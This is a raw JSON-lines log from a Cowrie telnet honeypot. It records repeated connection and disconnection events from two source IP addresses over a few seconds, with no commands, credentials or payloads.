{"eventid":"cowrie.session.closed","duration":31.000232934951782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:18.141313Z","src_ip":"208.115.200.90","session":"974a828a3063","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16440725326538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:18.212947Z","src_ip":"208.115.219.122","session":"0d00c3f8f520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.198067665100098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:18.231446Z","src_ip":"208.115.200.90","session":"235bb3853598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822873830795288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:18.237946Z","src_ip":"208.115.200.90","session":"94ba25c7f926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.517008781433105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:18.243118Z","src_ip":"208.115.200.90","session":"65f1a89bb86f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873512744903564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:18.281886Z","src_ip":"208.115.200.90","session":"fac994d19649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45634,"dst_ip":"10.17.0.5","dst_port":23,"session":"6968dd536023","protocol":"telnet","message":"New connection: 208.115.219.122:45634 (10.17.0.5:23) [session: 6968dd536023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:18.345473Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46922,"dst_ip":"10.17.0.5","dst_port":23,"session":"97290907a453","protocol":"telnet","message":"New connection: 208.115.200.90:46922 (10.17.0.5:23) [session: 97290907a453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:18.957330Z"}
{"eventid":"cowrie.session.closed","duration":30.837743997573853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:19.011240Z","src_ip":"208.115.219.122","session":"8c19e38159a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983947038650513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:19.052178Z","src_ip":"208.115.219.122","session":"57dfff3cb3e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06274104118347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:19.099128Z","src_ip":"208.115.219.122","session":"4f201ca27b21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45668,"dst_ip":"10.17.0.5","dst_port":23,"session":"254f127e1c2f","protocol":"telnet","message":"New connection: 208.115.219.122:45668 (10.17.0.5:23) [session: 254f127e1c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:19.285134Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45684,"dst_ip":"10.17.0.5","dst_port":23,"session":"b450c3734816","protocol":"telnet","message":"New connection: 208.115.219.122:45684 (10.17.0.5:23) [session: b450c3734816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:19.310171Z"}
{"eventid":"cowrie.session.closed","duration":31.099653005599976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:19.331299Z","src_ip":"208.115.219.122","session":"459acefaac43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.392162799835205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:19.420714Z","src_ip":"208.115.200.90","session":"b13a2ad38a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45710,"dst_ip":"10.17.0.5","dst_port":23,"session":"471b19b91850","protocol":"telnet","message":"New connection: 208.115.219.122:45710 (10.17.0.5:23) [session: 471b19b91850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:19.655121Z"}
{"eventid":"cowrie.session.closed","duration":30.484329223632812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:20.021736Z","src_ip":"208.115.219.122","session":"a0c5ba0469b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45738,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d667675b7ba","protocol":"telnet","message":"New connection: 208.115.219.122:45738 (10.17.0.5:23) [session: 9d667675b7ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:20.114484Z"}
{"eventid":"cowrie.session.closed","duration":30.34646964073181,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:20.155449Z","src_ip":"208.115.200.90","session":"86ab8829cb60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45750,"dst_ip":"10.17.0.5","dst_port":23,"session":"0efa78bc0ac8","protocol":"telnet","message":"New connection: 208.115.219.122:45750 (10.17.0.5:23) [session: 0efa78bc0ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:20.229215Z"}
{"eventid":"cowrie.session.closed","duration":30.775511264801025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:20.282552Z","src_ip":"208.115.200.90","session":"ce97a6a1bb77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45542,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cc09a248e21","protocol":"telnet","message":"New connection: 208.115.219.122:45542 (10.17.0.5:23) [session: 1cc09a248e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:20.360554Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47592,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0fb16981317","protocol":"telnet","message":"New connection: 208.115.200.90:47592 (10.17.0.5:23) [session: b0fb16981317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:20.414659Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47468,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91880c1cca0","protocol":"telnet","message":"New connection: 208.115.200.90:47468 (10.17.0.5:23) [session: f91880c1cca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:20.423022Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47660,"dst_ip":"10.17.0.5","dst_port":23,"session":"478027e1f2d0","protocol":"telnet","message":"New connection: 208.115.200.90:47660 (10.17.0.5:23) [session: 478027e1f2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:20.580223Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45814,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec1f80ee81b2","protocol":"telnet","message":"New connection: 208.115.219.122:45814 (10.17.0.5:23) [session: ec1f80ee81b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:20.945124Z"}
{"eventid":"cowrie.session.closed","duration":30.589575052261353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.111376Z","src_ip":"208.115.200.90","session":"ba2c0ce2ccf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990448474884033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.128352Z","src_ip":"208.115.219.122","session":"efe5ae1bf5a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45822,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2ab4b93153a","protocol":"telnet","message":"New connection: 208.115.219.122:45822 (10.17.0.5:23) [session: b2ab4b93153a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.218850Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47830,"dst_ip":"10.17.0.5","dst_port":23,"session":"68b1a31927ce","protocol":"telnet","message":"New connection: 208.115.200.90:47830 (10.17.0.5:23) [session: 68b1a31927ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.343351Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47832,"dst_ip":"10.17.0.5","dst_port":23,"session":"721b36ec71d7","protocol":"telnet","message":"New connection: 208.115.200.90:47832 (10.17.0.5:23) [session: 721b36ec71d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.371639Z"}
{"eventid":"cowrie.session.closed","duration":31.051846742630005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.400872Z","src_ip":"208.115.200.90","session":"03e168ccd79c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.225954294204712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.438605Z","src_ip":"208.115.200.90","session":"5b8db74f7927","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45840,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf93afc918f4","protocol":"telnet","message":"New connection: 208.115.219.122:45840 (10.17.0.5:23) [session: cf93afc918f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.482569Z"}
{"eventid":"cowrie.session.closed","duration":31.09413480758667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.488221Z","src_ip":"208.115.200.90","session":"75b0a62bb347","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46721649169922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.532802Z","src_ip":"208.115.219.122","session":"e81f4246bbc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47908,"dst_ip":"10.17.0.5","dst_port":23,"session":"b372e506090d","protocol":"telnet","message":"New connection: 208.115.200.90:47908 (10.17.0.5:23) [session: b372e506090d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.844392Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45918,"dst_ip":"10.17.0.5","dst_port":23,"session":"e19ad14bad24","protocol":"telnet","message":"New connection: 208.115.219.122:45918 (10.17.0.5:23) [session: e19ad14bad24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:21.928421Z"}
{"eventid":"cowrie.session.closed","duration":30.94105052947998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:22.013511Z","src_ip":"208.115.219.122","session":"f9d79411167b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830246210098267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:22.025723Z","src_ip":"208.115.219.122","session":"b2f117fe3656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47910,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba1ac63821b","protocol":"telnet","message":"New connection: 208.115.200.90:47910 (10.17.0.5:23) [session: 9ba1ac63821b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:22.035064Z"}
{"eventid":"cowrie.session.closed","duration":30.32197856903076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:22.067147Z","src_ip":"208.115.200.90","session":"1728ca32f482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47938,"dst_ip":"10.17.0.5","dst_port":23,"session":"64acc49da3aa","protocol":"telnet","message":"New connection: 208.115.200.90:47938 (10.17.0.5:23) [session: 64acc49da3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:22.115426Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47946,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d5b502134f1","protocol":"telnet","message":"New connection: 208.115.200.90:47946 (10.17.0.5:23) [session: 0d5b502134f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:22.156745Z"}
{"eventid":"cowrie.session.closed","duration":30.907991647720337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:22.334847Z","src_ip":"208.115.219.122","session":"56113b617036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47948,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c2a87173ac3","protocol":"telnet","message":"New connection: 208.115.200.90:47948 (10.17.0.5:23) [session: 9c2a87173ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:22.446449Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45930,"dst_ip":"10.17.0.5","dst_port":23,"session":"97aa5ebc5612","protocol":"telnet","message":"New connection: 208.115.219.122:45930 (10.17.0.5:23) [session: 97aa5ebc5612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:22.462848Z"}
{"eventid":"cowrie.session.closed","duration":31.542568922042847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:22.649683Z","src_ip":"208.115.219.122","session":"6222ccfe0a12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.742502212524414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.014844Z","src_ip":"208.115.219.122","session":"859844da21d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884580850601196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.025475Z","src_ip":"208.115.219.122","session":"c7c2dc0c0319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002399682998657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.031306Z","src_ip":"208.115.219.122","session":"40830dcf0b01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45962,"dst_ip":"10.17.0.5","dst_port":23,"session":"448b15824f4f","protocol":"telnet","message":"New connection: 208.115.219.122:45962 (10.17.0.5:23) [session: 448b15824f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.047401Z"}
{"eventid":"cowrie.session.closed","duration":30.96092915534973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.114759Z","src_ip":"208.115.219.122","session":"d2ff773cc8be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48018,"dst_ip":"10.17.0.5","dst_port":23,"session":"a02c872f7212","protocol":"telnet","message":"New connection: 208.115.200.90:48018 (10.17.0.5:23) [session: a02c872f7212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.159078Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45980,"dst_ip":"10.17.0.5","dst_port":23,"session":"7efd21293386","protocol":"telnet","message":"New connection: 208.115.219.122:45980 (10.17.0.5:23) [session: 7efd21293386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.165474Z"}
{"eventid":"cowrie.session.closed","duration":31.039889812469482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.242212Z","src_ip":"208.115.200.90","session":"185b1269ddcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48028,"dst_ip":"10.17.0.5","dst_port":23,"session":"024efc94b17c","protocol":"telnet","message":"New connection: 208.115.200.90:48028 (10.17.0.5:23) [session: 024efc94b17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.282314Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48036,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb519b6e747d","protocol":"telnet","message":"New connection: 208.115.200.90:48036 (10.17.0.5:23) [session: cb519b6e747d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.470539Z"}
{"eventid":"cowrie.session.closed","duration":30.77394461631775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.577143Z","src_ip":"208.115.200.90","session":"f546aff683ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47624,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7c35e281ee2","protocol":"telnet","message":"New connection: 208.115.200.90:47624 (10.17.0.5:23) [session: a7c35e281ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.628201Z"}
{"eventid":"cowrie.session.closed","duration":31.550604581832886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.642820Z","src_ip":"208.115.200.90","session":"cd7f7273d23d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45958,"dst_ip":"10.17.0.5","dst_port":23,"session":"8624c8c9fd37","protocol":"telnet","message":"New connection: 208.115.219.122:45958 (10.17.0.5:23) [session: 8624c8c9fd37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.756384Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46010,"dst_ip":"10.17.0.5","dst_port":23,"session":"8419901bc0a1","protocol":"telnet","message":"New connection: 208.115.219.122:46010 (10.17.0.5:23) [session: 8419901bc0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:23.966709Z"}
{"eventid":"cowrie.session.closed","duration":30.821959018707275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:24.031925Z","src_ip":"208.115.200.90","session":"8704ecd585cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.568031787872314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:24.038362Z","src_ip":"208.115.219.122","session":"0c4ddfd94fbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48058,"dst_ip":"10.17.0.5","dst_port":23,"session":"f84e1556ba71","protocol":"telnet","message":"New connection: 208.115.200.90:48058 (10.17.0.5:23) [session: f84e1556ba71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:24.070359Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46034,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdfa61d53dc1","protocol":"telnet","message":"New connection: 208.115.219.122:46034 (10.17.0.5:23) [session: cdfa61d53dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:24.114591Z"}
{"eventid":"cowrie.session.closed","duration":31.022002696990967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:24.199482Z","src_ip":"208.115.219.122","session":"1aad1f337845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47804,"dst_ip":"10.17.0.5","dst_port":23,"session":"75ad1dadc480","protocol":"telnet","message":"New connection: 208.115.200.90:47804 (10.17.0.5:23) [session: 75ad1dadc480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:24.270375Z"}
{"eventid":"cowrie.session.closed","duration":30.7203152179718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:24.283671Z","src_ip":"208.115.200.90","session":"952fa3dc5d1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.030279397964478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:24.311682Z","src_ip":"208.115.200.90","session":"d9b2a6f94793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46044,"dst_ip":"10.17.0.5","dst_port":23,"session":"31762a183f3e","protocol":"telnet","message":"New connection: 208.115.219.122:46044 (10.17.0.5:23) [session: 31762a183f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:24.388829Z"}
{"eventid":"cowrie.session.closed","duration":31.290844440460205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:24.462422Z","src_ip":"208.115.200.90","session":"1525325df2bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45830,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fa75b942a0f","protocol":"telnet","message":"New connection: 208.115.219.122:45830 (10.17.0.5:23) [session: 0fa75b942a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:24.523180Z"}
{"eventid":"cowrie.session.closed","duration":30.35576868057251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:25.052475Z","src_ip":"208.115.200.90","session":"fe87bde69152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85562777519226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:25.057828Z","src_ip":"208.115.200.90","session":"73e0e3278822","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46030,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ad0ad7deb5e","protocol":"telnet","message":"New connection: 208.115.219.122:46030 (10.17.0.5:23) [session: 0ad0ad7deb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:25.102933Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44834,"dst_ip":"10.17.0.5","dst_port":23,"session":"4736f499695e","protocol":"telnet","message":"New connection: 208.115.200.90:44834 (10.17.0.5:23) [session: 4736f499695e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:25.108319Z"}
{"eventid":"cowrie.session.closed","duration":31.17454743385315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:25.232639Z","src_ip":"208.115.200.90","session":"79a305b2a2a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44838,"dst_ip":"10.17.0.5","dst_port":23,"session":"62514a75cdad","protocol":"telnet","message":"New connection: 208.115.200.90:44838 (10.17.0.5:23) [session: 62514a75cdad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:25.285284Z"}
{"eventid":"cowrie.session.closed","duration":31.37747836112976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:25.398589Z","src_ip":"208.115.200.90","session":"add8a7dd54ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248470067977905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:25.444827Z","src_ip":"208.115.200.90","session":"b2b6094c8ec7","protocol":"telnet"}
